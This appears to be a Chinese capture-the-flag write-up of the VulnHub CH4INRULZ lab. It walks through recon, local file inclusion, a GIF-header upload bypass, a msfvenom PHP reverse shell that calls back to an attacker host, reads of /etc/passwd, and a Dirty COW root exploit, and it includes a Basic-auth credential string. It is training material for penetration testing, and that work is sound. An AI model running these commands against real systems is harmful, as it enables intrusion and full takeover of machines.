VulnHub——CH4INRULZ

目录

简介

信息收集

发现api文件

发现备份文件

漏洞发现

本地文件包含

文件上传绕过

漏洞利用

未发现上传页面时的尝试

权限提升

总结


简介

这是VulnHub中非常简单的一个靶机,通过本地文件包含漏洞结合上传绕过漏洞获得Web服务权限,最后通过内核漏洞提升权限获得root权限。

信息收集

使用fping 192.168.204.0/24 -agq探测局域网内其他主机,发现存在一个132主机,如图:

然后使用nmap 192.168.204.132 --max-rate 1000 -A扫描常用端口及服务,发现开启21,22,80,8011端口,分别运行着vsftpd 2.3.5,OpenSSH 5.9p1和Http服务,且Apache版本为2.2.22,操作系统可能是Debian或Ubuntu,内核可能为2.6.X,如图:

然后使用ftp命令测试21端口的匿名用户,可以成功登录,但没有任何文件,且没有写权限,如图:

然后访问80端口的HTTP服务,发现是网站作者Frank Tope的简历,如图:

然后使用dirbuster扫描网站目录,发现development目录需要认证,cgi-bin目录没有权限,也未发现php,jsp,bak,zip等文件,如图:

访问8011端口的HTTP服务,发现网站运行着开发服务器,源代码中也没有任何信息。

发现api文件

然后使用dirbuster扫描8011端口网站目录,发现一个api目录,如图:

然后访问api目录,发现存在web_api.php,records_api.php,files_api.php和database_api.php文件,如图:

然后访问这些文件,在files_api.php文件中发现如下信息:

发现备份文件

再次使用dirb扫描网站目录,发现存在index.html.bak文件,如图: 

 查看内容发现存在加密的密码信息,如图:

使用john进行破解,成功获得密码,如图:

漏洞发现

本地文件包含

尝试为files_api.php传入file参数,发现会记录IP,如图:

尝试读取/etc/passwd文件,没有成功,如图:

然后尝试使用POST方法读取文件,成功获取文件内容,发现web服务目录及普通用户frank,如图:

可见这里存在文件包含漏洞,尝试读取远程文件未成功,说明这里是本地文件包含。

文件上传绕过

然后使用密码成功登录需要认证的开发者页面,并发现存在已经开发完成的上传工具,如图:

访问uploader目录,发现图片上传页面,如图:

尝试直接上传木马文件,发现对上传的文件类型做了限制,如图:

通过修改文件后缀和context type都无法绕过上传,如图:

使用msfvenom -p php/reverse_php lhost=192.168.204.139 lport=4444 -o shell.php生成php木马,如图:

然后修改文件后缀为gif,在文件开头添加GIF98伪装成gif文件,如图:

成功上传,但是没有显示上传的文件所在路径,如图:

注意到提示上传到了“my uploads”路径,使用frank和uploads生成uppath.txt字典文件,如图:

 

然后使用wfuzz -c -w /root/uppath.txt --sc 200 -H  "Authorization:Basic ZnJhbms6ZnJhbmshISE=" http://192.168.204.132/development/uploader/FUZZ/shell.jpg进行枚举,发现上传的文件在目录FRANKuploads下,如图:

漏洞利用

开启4444端口监听,使用本地文件包含漏洞包含上传的shell.gif文件,如图:

在监听的端口成功获得shell,如图:

未发现上传页面时的尝试

尝试读取apache和vsftp日志文件:

/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/access.log
/var/log/error.log
/var/log/xferlog
/var/log/vsftpd.log

没有任何回显,然后枚举日志文件也没成功。使用php://filter/read=convert.base64-encode/resource=/etc/passwd验证是否启用php伪协议,如图:

尝试读取web_api.php, records_api.php和database_api.php文件内容失败,如图:

尝试读取files_api.php文件内容成功,如图:

说明其他三个文件没有读权限或者不存在。解码之后可以看到files_api.php文件内容,如图:

尝试查看/etc/apache2/apache2.conf文件,使用curl -X POST http://192.168.204.132:8011/api/files_api.php -d file=/etc/apache2/apache2.conf,如图:

 

然后查看envvars 文件,使用curl -X POST http://192.168.204.132:8011/api/files_api.php -d file=/etc/apache2/envvars,如图:

 

路径没有错误,看来是没有读取权限。

权限提升

查看内核版本发现是2.6.35,如图:

然后使用searchsploit "Privilege Escalation" | grep "Linux Kernel 2.6."查找提权漏洞利用程序,如图:

看到Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' PTRACE_POKEDA满足使用条件,然后将对应的40839.c复制到/var/www/html/下,使用gcc -pthread 40839.c -o dirty -lcrypt编译。将dirty上传到目标主机,然后执行./dirty abcd创建一个具有root权限的用户firefart ,如图:

然后看到/etc/passwd文件中含有firefart用户且默认启动root shell,如图:

然后使用ssh登录firefart用户获得root权限,如图:

总结

 渗透思路比较简单,提权也很容易,寻找入口可能需要花点时间。仅使用dirbuster没有获得备份文件,因此可能无法获得上传页面,上传之后没有显示文件所在路径,枚举路径需要花些时间。因此,学会使用多种同类型的工具对渗透测试效率有很大的帮助,通过社会工程学构造字典进行枚举也会事半功倍。

原文地址:https://www.cnblogs.com/hzcya1995/p/13302352.html